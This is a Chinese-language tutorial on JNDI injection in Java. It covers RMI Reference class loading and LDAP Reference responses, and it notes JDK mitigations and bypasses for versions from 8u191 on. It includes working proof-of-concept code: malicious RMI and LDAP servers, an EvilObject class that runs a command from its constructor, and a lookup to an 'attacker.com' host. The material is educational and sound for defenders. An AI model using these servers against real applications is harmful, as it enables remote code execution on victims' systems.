前言
- RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message Protocol,Java远程消息交换协议)以及CORBA。
- JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。
RMI 中动态加载字节代码
如果远程获取 RMI
服务上的对象为 Reference
类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class
文件来进行实例化。 Reference 中几个比较关键的属性:
- className - 远程加载时所使用的类名
- classFactory - 加载的 class 中需要实例化类的名称
- classFactoryLocation - 提供 classes 数据的地址可以是 file/ftp/http 等协议
例如这里定义一个 Reference
实例,并使用继承了 UnicastRemoteObject
类的 ReferenceWrapper
包裹一下实例对象,使其能够通过 RMI
进行远程访问:
1 2 3
| Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper);
|
当有客户端通过 lookup("refObj")
获取远程对象时,获得到一个 Reference
类的存根,由于获取的是一个 Reference
实例,客户端会首先去本地的 CLASSPATH
去寻找被标识为 refClassName
的类,如果本地未找到,则会去请求 http://example.com:12345/refClassName.class
动态加载 classes
并调用 insClassName
的构造函数。
动态协议转换
在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 或者 CORBA 等):
1 2 3 4
| Properties env = new Properties(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); Context ctx = new InitialContext(env);
|
而在调用lookup()
或者search()
时,可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URI 格式去转换上下文环境访问 LDAP 服务上的绑定对象:
1
| ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");
|
JNDI注入原理
JNDI
支持很多服务类型,当服务类型为RMI
协议时,如果从RMI
注册服务中lookup
的对象类型为Reference
类型或者其子类时,会导致远程代码执行,Reference
类提供了两个比较重要的属性,className
以及codebase url
,classname
为远程调用引用的类名,那么codebase url
决定了在进行rmi
远程调用时对象的位置,此外codebase url
支持http协议,当远程调用类(通过lookup
来寻找)在RMI
服务器中的CLASSPATH
中不存在时,就会从指定的codebase url
来进行类的加载,如果两者都没有,远程调用就会失败。 JNDI RCE
漏洞产生的原因就在于当我们在注册RMI
服务时,可以指定codebase url
,也就是远程要加载类的位置,设置该属性可以让JNDI
应用程序在加载时加载我们指定的类( 例如:http://www.iswin.org/xx.class) ,当JNDI
应用程序通过lookup
(RMI服务的地址)调用指定codebase url
上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。
RMI + JNDI Reference Payload
RMIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference; import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry;
public class RMIServer { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(8080); Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'"); registry.bind("refObj", refObjWrapper); } }
|
RMIClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException;
public class JNDIClient { public static void main(String[] args) throws Exception{ try { Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:8080/refObj"); String data = "This is RMI Client."; } catch (NamingException e) { e.printStackTrace(); } } }
|
EvilObject.java
1 2 3 4 5 6 7
| import java.lang.Runtime;
public class EvilObject { public EvilObject() throws Exception { Runtime.getRuntime().exec("open -a Calculator"); } }
|
jdk版本8u101
在JDK 6u132
, JDK 7u122
, JDK 8u113
中Java提升了JNDI 限制了Naming/Directory
服务中JNDI Reference
远程加载Object Factory
类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false
,即默认不允许从远程的Codebase
加载Reference
工厂类。
LDAP + JNDI Reference Payload
除了RMI
服务之外,JNDI
还可以对接LDAP
服务,LDAP
也能返回JNDI Reference
对象,利用过程与上面RMI Reference
基本一致,只是lookup()
中的URL为一个LDAP地址:ldap://xxx/xxx
,由攻击者控制的LDAP
服务端返回一个恶意的JNDI Reference
对象。 且LDAP
服务的Reference
远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的限制,所以适用范围更广。不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference
远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211
之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被调整为false
。 LdapServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#EvilObject"; int port = 1234;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
LdapClient
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException;
public class LdapClient { public static void main(String[] args) throws Exception{ try { Context ctx = new InitialContext(); ctx.lookup("ldap://localhost:1234/EvilObject"); String data = "This is LDAP Client."; } catch (NamingException e) { e.printStackTrace(); } } }
|

绕过JDK 8u191+等高版本限制
所以对于Oracle JDK 11.0.1、8u191、7u201、6u211
或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:
- 找到一个受害者本地
CLASSPATH
中的类作为恶意的Reference Factory
工厂类,并利用这个本地的Factory
类执行命令。
- 利用
LDAP
直接返回一个恶意的序列化对象,JNDI
注入依然会对该对象进行反序列化操作,利用反序列化Gadget
完成命令执行。
这两种方式都非常依赖受害者本地CLASSPATH
中环境,需要利用受害者本地的Gadget
进行攻击。
Referer
https://www.freebuf.com/column/207439.html https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/ https://security.tencent.com/index.php/blog/msg/131 https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/ https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html